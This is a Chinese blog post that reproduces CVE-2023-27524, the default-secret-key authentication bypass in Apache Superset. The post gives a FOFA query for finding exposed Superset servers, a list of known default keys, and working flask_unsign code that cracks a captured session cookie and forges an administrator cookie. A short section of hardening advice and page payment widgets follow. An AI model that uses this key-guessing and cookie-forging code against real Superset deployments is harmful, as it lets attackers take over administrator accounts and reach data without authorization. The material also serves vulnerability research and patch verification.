superset未授权访问漏洞(CVE-2023-27524)复现

Superset是一个开源的数据探索和可视化平台。它由Apache软件基金会支持,旨在帮助用户通过直观的方式探索、分析和可视化复杂的数据集。Superset支持多种数据源,包括关系型数据库、NoSQL数据库和各种其他数据存储系统。Apache Superset 2.0.1 版本及之前版本存在安全漏洞。攻击者利用该漏洞验证和访问未经授权的资源。

1.漏洞级别

高危

2.漏洞搜索

fofa

title="Superset" 

3.影响范围

Apache Superset 2.0.1 版本及之前版本

4.漏洞复现

4.1 版本检测

访问url/login/,点击右上角设置按钮,下拉即可查看版本。
在这里插入图片描述低于2.0.1版本的服务都在漏洞覆盖范围。

4.2 获取有效cookie

由于漏洞的生成原因是由于使用了默认的加密key,所以我们需要先测试目标网站使用的是哪一个默认key,通常这个是由版本决定的。

#现有的默认key
SECRET_KEYS = [
    b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1
    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1
    b'thisISaSECRET_1234',                            # deployment template
    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation
    b'TEST_NON_DEV_SECRET'                            # docker compose
]

superset是python项目,使用的是flask的加密模块,因此我们可以通过对默认key的逐个解密来测试网站使用了那个key。
抓包获取一个随机cookie:
在这里插入图片描述
我们可以使用flask模块进行解密测试:

from flask_unsign import session
SECRET_KEYS = [
    b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1
    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1
    b'thisISaSECRET_1234',                            # deployment template
    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation
    b'TEST_NON_DEV_SECRET'                            # docker compose
]
session.decode(cookie)
for key in SECRET_KEYS:
	cracked = session.verify(cookie, key)
	if cracked:
		break
if not cracked:
	print("无法解密cookie")
	return None
print("使用的解密key:"+key.decode())

其中cookie就是我们上文通过抓包获取的页面返回cookie,解密成功的话就会返回正确的key,接下来我们就可以用这个key生成一个新的cookie。

forged_cookie = session.sign({'_user_id': 1, 'user_id': 1}, key)
print("可用的登录cookie:"+forged_cookie)

这里我们默认生成一个userid=1,即管理员账户的cookie,你也可以修改userid的值来生成指定的用户cookie.
在这里插入图片描述
获取到cookie后,可以在浏览器中替换cookie,然后刷新页面,即可成功登录后台。
在这里插入图片描述

4.3脚本利用

使用脚本放附件上,有需要可以自行下载。
执行

python3 -u url

输出内容如下:
在这里插入图片描述

复现到这里就结束了,欢迎随时交流~

在这里插入图片描述

参考资源链接:[Apache Superset安全漏洞:RCE攻击实践与防范](https://wenku.csdn.net/doc/6o9dy2gmj4?utm_source=wenku_answer2doc_content) 在处理Apache Superset的安全配置时,了解如何防御CVE-2023-27524漏洞至关重要。本文档《Apache Superset安全漏洞:RCE攻击实践与防范》将为你提供详细的安全配置建议和步骤,帮助你有效防范远程代码执行漏洞。 首先,更新到Apache Superset的最新版本至关重要,尤其是1.4.1版本之后的更新,以确保所有已知的安全漏洞得到修复。接下来,需要根据官方文档的建议,更改默认的SECRET_KEY值。SECRET_KEY是Apache Superset用来签名会话令牌的一个安全密钥,更改默认值可以增加系统的安全性。你可以通过修改配置文件或设置环境变量来实现这一点。 其次,启用SSL/TLS对于保护数据传输过程中的安全同样重要。通过使用SSL/TLS,可以确保所有通过网络传输的数据都是加密的,这大大增加了数据被窃听和篡改的难度。 此外,实施严格的访问控制也是必要的。你应该根据最小权限原则,为用户分配适当的权限,限制不必要的数据库操作权限。例如,只有授权的用户或角色才能执行特定的SQL语句。 最后,建议定期进行安全审核和漏洞扫描,以确保配置的正确性和系统的安全性。通过这些步骤,你可以显著提高Apache Superset的抗攻击能力,并降低被CVE-2023-27524这样的漏洞攻击的风险。 为了更深入地理解和掌握Apache Superset的安全配置,你可以阅读《Apache Superset安全漏洞:RCE攻击实践与防范》。本文档不仅介绍了如何识别和防范CVE-2023-27524漏洞,还提供了丰富的安全策略和最佳实践,帮助你在使用开源工具时能够更好地进行漏洞管理和数据可视化。 参考资源链接:[Apache Superset安全漏洞:RCE攻击实践与防范](https://wenku.csdn.net/doc/6o9dy2gmj4?utm_source=wenku_answer2doc_content)
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值